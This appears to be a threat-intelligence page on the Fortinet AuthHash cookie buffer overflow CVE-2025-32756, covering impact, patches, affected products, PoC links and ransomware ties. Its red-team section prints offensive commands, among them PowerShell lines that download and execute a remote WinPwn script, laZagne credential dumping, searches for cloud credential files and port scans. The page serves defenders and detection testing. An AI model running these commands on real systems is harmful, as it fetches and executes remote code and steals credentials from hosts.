CVE-2025-32756
Overview
This vulnerability is a stack-based buffer overflow caused by improper handling of the AuthHash HTTP cookie parameter. The flaw occurs within Fortinet FortiNDR and other Fortinet products when processing HTTP requests containing an oversized hash cookie, leading to memory corruption on the stack. The affected components include FortiNDR versions 7.0.0 through 7.6.0 and other Fortinet products with similar request handling implementations.
Vulnerability Description
A stack-based buffer overflow vulnerability [CWE-121] vulnerability in Fortinet FortiCamera 2.1.0 through 2.1.3, FortiCamera 2.0 all versions, FortiCamera 1.1 all versions, FortiMail 7.6.0 through 7.6.2, FortiMail 7.4.0 through 7.4.4, FortiMail 7.2.0 through 7.2.7, FortiMail 7.0.0 through 7.0.8, FortiNDR 7.6.0, FortiNDR 7.4.0 through 7.4.7, FortiNDR 7.2.0 through 7.2.4, FortiNDR 7.0.0 through 7.0.6, FortiRecorder 7.2.0 through 7.2.3, FortiRecorder 7.0.0 through 7.0.5, FortiRecorder 6.4.0 through 6.4.5, FortiVoice 7.2.0, FortiVoice 7.0.0 through 7.0.6, FortiVoice 6.4.0 through 6.4.10 allows a remote unauthenticated attacker to execute arbitrary code or commands via sending HTTP requests with specially crafted hash cookie.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted HTTP requests to the vulnerable endpoint, resulting in arbitrary code execution with the privileges of the affected service. This enables full compromise of the targeted Fortinet device, including potential data exfiltration, system control, and lateral movement within the network. No user interaction or valid credentials are required to trigger the exploit, increasing the attack surface significantly for network-exposed devices.
Solution
Fortinet has released security updates addressing this vulnerability in FortiNDR versions 7.6.1 and later, as well as updated firmware for FortiMail, FortiRecorder, FortiVoice, and FortiCamera. Administrators should apply the patches as detailed in Fortinet's advisory FG-IR-25-254 available at https://fortiguard.fortinet.com/psirt/FG-IR-25-254. Immediate upgrade to the fixed versions is recommended to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A stack-based buffer overflow vulnerability has been identified in several products from Fortinet, including FortiCamera, FortiMail, FortiNDR, FortiRecorder, and FortiVoice. This type of vulnerability occurs when a program writes more data to a buffer located on the stack than it can hold, leading to the overwriting of adjacent memory. In this case, the flaw is triggered by sending specially crafted HTTP requests containing a malicious hash cookie. The exploitation of this vulnerability can allow an unauthenticated remote attacker to execute arbitrary code or commands on the affected systems, posing a significant threat to the integrity and confidentiality of data processed by these devices.
The primary attack vector for this vulnerability is through the exploitation of HTTP requests. An attacker can craft a malicious request that targets the vulnerable components of the affected Fortinet products. By sending this request, the attacker can manipulate the stack memory, potentially leading to the execution of arbitrary code. This exploitation can be achieved without the need for authentication, making it particularly dangerous as it lowers the barrier for attackers. Scenarios may include the deployment of malware, unauthorized access to sensitive information, or even the complete compromise of the affected system, which can serve as a foothold for further attacks within the network.
The real-world impact of this vulnerability is profound, especially for organizations relying on Fortinet products for critical operations. The high CVSS score of 9.8 indicates that the vulnerability poses a severe risk, as successful exploitation could lead to significant data breaches, loss of sensitive information, and disruption of services. Businesses may face financial losses due to operational downtime, remediation costs, and potential legal liabilities stemming from data protection regulations. Additionally, the reputational damage associated with a security incident can have long-lasting effects on customer trust and brand integrity.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected Fortinet products is crucial, as vendors typically release security updates to address known vulnerabilities. Network monitoring solutions can help identify unusual traffic patterns or unauthorized access attempts, serving as an early warning system for potential exploitation. Furthermore, employing intrusion detection and prevention systems can provide an additional layer of defense by blocking malicious requests before they reach vulnerable systems. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the stack-based buffer overflow vulnerability in Fortinet products represents a significant security risk that requires immediate attention. The potential for remote unauthenticated exploitation underscores the need for robust security practices, including timely updates, comprehensive monitoring, and proactive vulnerability management. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can better protect their systems and sensitive data from malicious actors.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) rating for CVE-2025-32756, reflecting a growing likelihood of exploitation in the wild. This upward adjustment, now placing the vulnerability near the top percentile of exploitability, coincides with the continued emergence and refinement of multiple proof-of-concept exploits publicly available on GitHub. Although ransomware groups such as akira, ransomhub, and Mora_001 remain associated with this vulnerability, there is no current evidence of coordinated ransomware campaigns leveraging it. The rising EPSS score and the proliferation of exploit code signal an elevated risk environment, underscoring the vulnerability’s increasing attractiveness to threat actors. For defenders, this shift necessitates heightened vigilance as the window for potential exploitation narrows, and opportunistic attackers may accelerate attempts to weaponize this critical stack-based buffer overflow flaw. Consequently, the threat level has escalated from a theoretical concern to a more imminent operational risk, demanding close monitoring of exploit trends and adversary behavior.
Update 2 — July 09, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-32756, indicating increased adversary interest and probing attempts against affected Fortinet products. This uptick in telemetry, coupled with the continued availability of multiple proof-of-concept exploits on public repositories, suggests that exploitation attempts may become more frequent and sophisticated. While ransomware groups previously linked to this vulnerability have not demonstrated high-confidence operational use, the growing reconnaissance signals a potential shift toward active exploitation campaigns. For defenders, this evolving landscape heightens the urgency for vigilant monitoring and rapid response capabilities, as the vulnerability’s critical severity and expanding exploit resources amplify the risk of successful compromise. Consequently, the threat level has progressed from a latent concern to a more immediate and actionable threat, warranting close attention to emerging adversary tactics and exploitation patterns.
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortimail | All |
cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortimail | All |
cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortimail | All |
cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortimail | All |
cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | All |
cpe:2.3:a:fortinet:fortindr:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | All |
cpe:2.3:a:fortinet:fortindr:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | All |
cpe:2.3:a:fortinet:fortindr:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 1.1.0 |
cpe:2.3:a:fortinet:fortindr:1.1.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 1.2.0 |
cpe:2.3:a:fortinet:fortindr:1.2.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 1.3.0 |
cpe:2.3:a:fortinet:fortindr:1.3.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 1.4.0 |
cpe:2.3:a:fortinet:fortindr:1.4.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 1.5.0 |
cpe:2.3:a:fortinet:fortindr:1.5.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 7.1.0 |
cpe:2.3:a:fortinet:fortindr:7.1.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 7.1.1 |
cpe:2.3:a:fortinet:fortindr:7.1.1:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortindr | 7.6.0 |
cpe:2.3:a:fortinet:fortindr:7.6.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortirecorder | All |
cpe:2.3:a:fortinet:fortirecorder:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortirecorder | All |
cpe:2.3:a:fortinet:fortirecorder:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortirecorder | All |
cpe:2.3:a:fortinet:fortirecorder:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortivoice | All |
cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortivoice | All |
cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
kn0x0x/CVE-2025-32756-POC
Proof of Concept for CVE-2025-32756 - A critical stack-based buffer overflow vulnerability affecting multiple Fortinet p...
|
kn0x0x | 193 | 29 | 2025-06-05 | View |
|
exfil0/CVE-2025-32756-POC
Designed for Demonstration of Deep Exploitation.
|
exfil0 | 4 | 0 | 2025-05-18 | View |
|
becrevex/CVE-2025-32756
CVE-2025-32756: NSE Scanning for RCE in vulnerable FortiVoice, FortiMail, FortiNDR, FortiRecorder and FortiCamera nodes
|
becrevex | 0 | 1 | 2025-06-09 | View |
|
shan0ar/cve-2025-32756
|
shan0ar | 0 | 0 | 2025-07-23 | View |
|
alm6no5/CVE-2025-32756-POC
|
alm6no5 | 0 | 0 | 2025-06-09 | View |
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-32756 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-25-254 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-32756 |